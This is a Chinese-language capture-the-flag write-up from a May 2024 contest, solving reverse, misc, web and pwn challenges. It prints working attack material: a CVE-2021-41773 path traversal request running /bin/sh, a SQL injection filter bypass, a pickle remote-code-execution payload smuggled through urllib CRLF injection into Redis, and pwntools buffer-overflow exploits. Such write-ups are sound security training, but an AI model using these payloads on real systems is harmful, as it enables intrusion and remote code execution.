比赛时间:2024-05-06
Re-easyre
基本的base64换表,用CyberChef解密
Re-babyre
进入主函数,发现输入四次 看一下就知道是大数求解
(当初写的时候差不多 不知道为什么第四个总是算错…)
from z3 import *s = Solver() # 设置一个解方程的类Solver(必须要设置)v5=BitVec('v5',32)
v6=BitVec('v6',32)
v7=BitVec('v7',32)
v8=BitVec('v8',32)s.add(v5 + 1380855784 == 907301700)s.add((v6 | 0x8E03BEC3) - 3 * (v6 & 0x71FC413C) + v6 == -1876131848)s.add(v7<=0x10000000)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))+ -3 * (~v7 | 0xA8453437)+ 3 * ~(v7 | 0xA8453437)- (-10 * (v7 & 0xA8453437)+ (v7 ^ 0xA8453437)) == 551387557)s.add(v8<=0x10000000)
s.add(11 * ~(v8 ^ 0xE33B67BD)+ 4 * ~(~v8 | 0xE33B67BD)- (6 * (v8& 0xE33B67BD)+ 12 * ~(v8 | 0xE33B67BD))+ 3 * (v8 & 0xD2C7FC0C)+ -5 * v8- 2 * ~(v8 | 0xD2C7FC0C)+ ~(v8 | 0x2D3803F3)+ 4 * (v8 & 0x2D3803F3)- -2 * (v8 | 0x2D3803F3) == -837785892)print(s.check())#check是保证有解
answer=s.model()#model是输出运算结果
print(answer)data=[3821413212,98124621,78769651,67321987]
print('flag{'+'%08x-'%data[0]+'%08x-'%data[1]+'%08x-'%data[2]+'%08x'%data[3]+'}')#flag{e3c6235c-05d9434d-04b1edf3-04034083}
Misc-签到
一张GIF图,拖到pr里面一帧一帧看,第一帧是:Flag is the ROT13 of …
之后的每一帧合并起来就是: synt{jrypbzr-gb-pbzcrgvgvba} ,然后通过ROT13解密,得到flag:flag{welcome-to-competition}
Misc-easyshell(复现)
冰蝎这个webShell的流量分析,推测是冰蝎3.0,使用默认密码rebeyond的md5加密然后取前16位作为key进行AES解密,或者直接通过 ( https://github.com/melody27/behinder_decrypt ) 进行解密:
python3 py_decrypt.py -f easyshell.pcap | tee result
获得相应的请求和响应的内容。
通过如下两个命令分别提取文件的信息:
cat result | grep {\"msg\":\"
cat result | grep $mode=\"ZG93bmxvYWRQYXJ0\";
之后能够获取到一个压缩包,之后通过创建一个CRC值与获取的压缩包CRC值相同的zip包,然后进行明文攻击,最后获得flag:
flag{70854278-ea0c-462e-bc18-468c7a04a505}
Misc-Gateway(复现)
在附件baseinfoSet.json中有个 “baseinfoSet_TELECOMPASSWORD”: “106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&5 6&103&102&56&52&101&104&102&105&53&101&53&102&129&”,
在网上搜索 baseinfoSet_TELECOMPASSWORD 存在解密脚本,直接解密得到flag:flag{ad1985868133e8cf1828cb84adbe5a5b}
code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1] # "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:if i > 57:i-=4result.append(chr(i))
print (''.join(result))
Misc-Apache(复现)
在博客里直接搜索 httpd:2.4.49-buster漏洞 可知,有个CVE-2021-41773的路径穿越漏洞,相关连接如下Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )-CSDN博客
所以根据python的源码,构造如下的包:
POST /nc HTTP/2
Host: prob01-8k743yxw.contest.pku.edu.cn
Content-Length: 470
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="port"80
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="data"POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: aaaa
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 45
Content-Type: application/x-www-form-urlencodedecho Content-Type:text/plain; echo; cat /flag;------WebKitFormBoundary7MA4YWxkTrZu0gW--
通过burp发包得到flag:flag{wHaTaaPaCheRcE}
Web-phpsql
题目开始是个登陆框,根据题目,应该是个sql注入,先注册账号,然后登陆注册的账号看看情况,出现一个弹窗,表示只有admin才能拿到一些内容,那么猜测应该是万能密码登陆admin账号。
当payload 为 1’ or 1=1 # 的时候,回显是hacker,多次尝试之后,发现只过滤了空格,内联注释绕过,构造payload为:1’//Or//1//like//1/**/#成功绕过,在经过两次离谱的弹窗之后,成功拿到flag:flag{KTFoYJlPMrqDW6fBGwGG}
Web-pyssrf(复现)
访问source路由,拿到python源码
from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)def get_result(url):url_key=hashlib.md5(url.encode()).hexdigest()res=redis.get(url_key)if res:return pickle.loads(base64.b64decode(res))else:try:print(url)info = urllib.request.urlopen(url)res = info.read()pickres=pickle.dumps(res)b64res=base64.b64encode(pickres)redis.set(url_key,b64res,ex=300)return resexcept urllib.error.URLError as e:print(e)@app.route('/')
def hello():url = request.args.get("url")return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1><h2>Here is your result</h2><h3>source code in /source</h3>%s''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')@app.route('/source')
def source():return
看上去是一个pickle反序列化加上ssrf的洞,具体啥原理还不是很懂,先写下参考地址:漏洞是叫CRLF 编号为 CVE 2019-9947,参考资料可以是
Python urllib CRLF注入漏洞小结_urllib crlf漏洞-CSDN博客
首先是构造key值:
** md5(‘http://1’)=22d474190b1889d3373fa4f9334e979c **
** 用脚本构造pickle的反序列数据 ** :
import base64
a=b'''cos system
(S'command here'
tR.'''
print(base64.b64encode(a))
因为采用的是flask框架,最简单获得回显的方式就是写文件到静态目录
import base64
a=b'''cos
system
(S'mkdir static'
tR.'''
print(base64.b64encode(a))
再将flag的内容重定向到static/1.txt中
import base64
a=b'''cos
system
(S'cat /flag>static/1.txt'
tR.'''
print(base64.b64encode(a))
所以,payload依次为:
写入redis内缓存,创建静态目录static
:::info
/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydta2Rp
ciBzdGF0aWMnCnRSLg%3d%3d%22%0d%0apaddins
:::
缓存之后触发反序列化:
:::info
/?url=1
:::
读取flag,并重定向到/static/1.txt内:
:::info
/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydjYXQg
L2ZsYWc%2bc3RhdGljLzEudHh0Jwp0Ui4%3d%22%0d%0apaddins
:::
缓存之后触发反序列化:
:::info
/?url=1
:::
之后访问/static/1.txt拿到flag:flag{qtRqiLrtTp6hoN2RPMti}
Pwn-babypwn
(这个题不知为啥,有种莫名奇妙的感觉,本地无论几次都不同,远程就能通)
查看开启的保护:
root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: No PIE (0x400000)Stack: ExecutableRWX: Has RWX segments
反编译之后,找到漏洞函数login():
__int64 login()
{int v0; // ebxchar buf[32]; // [rsp+0h] [rbp-50h] BYREFchar s1[40]; // [rsp+20h] [rbp-30h] BYREFprintf("Enter your username: ");read(0, buf, 0x40uLL);printf("Enter the password: ");read(0, s1, 0x40uLL);v0 = strcmp(buf, "root");return v0 | (unsigned int)strcmp(s1, "!@#$%^&*()_+");
}
并且,存在后门函数sub_401176,地址为0x401176,所以,根据gdb调试,得知缓冲区加上ebp的大小为120字节,所以exp如下:
from pwn import *
#io = process("./pwn")
io = remote('prob07.contest.pku.edu.cn',10007)
context.log_level = 'debug'
backdoor = 0x40117a #不知道为啥,这里如果是0x401176的话,打不通
token = b"502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4="
io.sendline(token)
io.recvuntil(b'Enter your username: ')
payload = b'a'*120 + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()
最后flag为:flag{kooD1EijiemeePh8ieNei2Xol8ich5DE}
Pwn-Login
没有附件 nc连上多测试几次就会知道password多输几个字符就会输出二进制文件
多试试 0x28个字符时能接收到正确的文件
from pwn import *
import osio = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')io.sendlineafter('Username', "admin\x00")io.sendlineafter('Password', b'a'*(0x28))io.recvuntil('dumped\n')
key = io.recvall()fp = open('att', 'wb')
fp.write(key)os.system('chmod 777 att')io.interactive()
att.pdf(zip)
__int64 login()
{char s1[48]; // [rsp+0h] [rbp-90h] BYREFchar s[95]; // [rsp+30h] [rbp-60h] BYREFunsigned __int8 v3; // [rsp+8Fh] [rbp-1h]v3 = 0;memset(s, 0, 0x50uLL);memset(s1, 0, 0x28uLL);printf("Username: ");fgets(s, 80, stdin);if ( s[0x14] ){puts("Username too long");return 0LL;}else{printf("Password: ");fgets(s1, 0x320, stdin);if ( !strcmp(s, "admin\n") && !strcmp(s1, "1q2w3e4r\n") ){puts("Login successful, welcome admin");v3 = 1;}else{puts("Login failed");v3 = 0;}if ( s1[0x28] ){puts("Stack smashing detected");overflow_detected = 1;return 0LL;}else{return v3;}}
}
溢出,返回到后门函数
exp:
from pwn import *
import osio = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')payload = b'1q2w3e4r'
payload = payload.ljust(0x98, b'\x00') + p64(0x40127e)
io.sendlineafter('Username', "admin\x00")
io.sendlineafter("Password", payload)io.interactive()# flag{loGiN_SuccESs_cOnGratUlatION}